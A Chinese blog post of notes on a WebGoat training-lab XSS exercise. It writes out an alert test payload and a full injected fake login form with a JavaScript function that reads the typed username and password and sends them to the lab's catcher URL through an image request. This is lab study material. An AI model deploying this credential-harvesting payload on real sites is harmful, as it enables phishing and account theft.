【WebGoat笔记】--- Cross-Site Scripting(XSS)

 

目标:

伪造一个登陆界面,要求用户输入用户名和密码,将数据提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE

 

解决步骤:

首先:随意输入搜索内容,如:123.


打开源代码,检测是否有未关闭的标签。由于这是一个入门级的练手任务,代码漏洞百出,这一层就不用考虑了。

第二步:尝试在搜索栏中插入JavaScript代码,比如通用的:<script>alert("XSS!");</script>

成功报出提示信息:

值得注意的是,JS脚本语言的插入在我的机器上只能用IE实行,在chrome上则没有任何反应。可能是chrome所用脚本语言有所区别。

 

第三步:构造代码,伪造一个登陆界面:

<form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR> 
其中,οnclick="hack()"是用户点击登录之后的按钮行为,具体函数在随后构建。


第四步:继续完善欺骗代码,构建JS函数,将获取的用户名和密码提交到相应的链接上。最后的输入代码如下:

<script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR> 

这样,当被欺骗的用户输入用户名和密码之后,将报出提示信息,并将用户名和密码发送到相应链接。

webgoat的提示说,如果创建一个image:XSSImage=newImage(),并声明XSSImage.src=SOME_URL那么JavaScript会执行一个提交。对JS语言不熟,这个今后再研究。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值